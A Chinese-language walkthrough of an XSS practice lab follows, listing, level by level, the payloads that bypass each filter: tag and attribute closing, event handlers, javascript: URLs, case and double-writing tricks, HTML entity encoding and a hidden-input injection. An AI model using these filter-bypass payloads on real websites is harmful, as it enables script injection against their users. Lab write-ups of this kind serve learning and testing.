不使用过滤器
name=<script>alert(1)</script>
闭合标签
输入第一题的答案,没有成功,查看源码,发现:
我们输入的数据,是在表单中的value属性内
法一:
所以需要先闭合input标签,然后在注入代码,闭合标签:
"><script>alert(1)</script>
法二:
是闭合value属性,然后在input标签内加入事件属性:
" οnclick="alert(11)
单引号闭合并添加事件
输入测试:
"<"会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:
' οnclick='alert(1)
(可以通过查看网页的html页面,确定闭合方式,以及是否闭合)
双引号闭合并添加事件
输入测试:
发现value值中把“<”过滤了,所以采用事件注入
" οnclick="alert(1)
javascript伪协议
)
这一关把ri转换为r_i,所以考虑绕过该机制
先试试大小写,发现还是老样子。
只能换一个一个不带ri的标签:
"><img src=1 onerror=alert(1)
然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件
采用其他标签:
"><a href="javascript:alert(1)"
输入之后发现没反应:
需要点击输入框右侧的细小的下划线才能回显 真坑啊啊啊啊啊
大小写绕过
和上题类似
先试试大小写:
"><SCRIPT>alert(1)</SCRIPT>
就成功了
双重书写
测试,发现script被过滤了:
所有采用嵌套的方法:
"><scscriptript>alert(1)</scrscriptipt>
或者采用事件注入:
" oonnclick=“alert(1)”
字符实体
通过试探,发现无法构造闭合,采用了htmlspecialchars($str)函数,而且闭合方式是双引号,所以input中无法注入,但是在连接里面是有地方可以注入的,首先是试探是否有防御机制:
javascript:alert(1)
查看你源码可以看到,做了多种编码。
尝试使用其他的编码的形式
对script中的一个字母进行html实体编码
HTML实体编码(HEX)
javascript:alert()
HTML实体编码(DEC)
javascript:alert()
再点击友情链接即可通关
HTML实体编码在线转换
检测关键字存在
输入上题答案:
查看源码得知:这里多了一个strpos函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://
但是肯定不能在http://后面加代码,必须在前面,并且将http://注释掉才能执行。
javascript:alert(/xss/)//http://
javascript:alert('http://')
隐藏信息
这一没有输入的地方,需要在url地址栏中输入,这一时输入是隐藏的,也就是说keyname并不是要注入的地方,真正注入的地方是三个input,不过这三个被隐藏了,所以需要去试探这三个那个是正确的
我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个t_sort参数,而这个参数其实并没有加什么特殊防御,只是过滤了尖括号。
t_sort=" οnmοuseοver="alert(1)"
但是因为input是隐藏的,所以不会触发事件,需要通过其它方法触发
采用type属性:
t_sort=" type="text" οnclick="javascript:alert(/XSS/)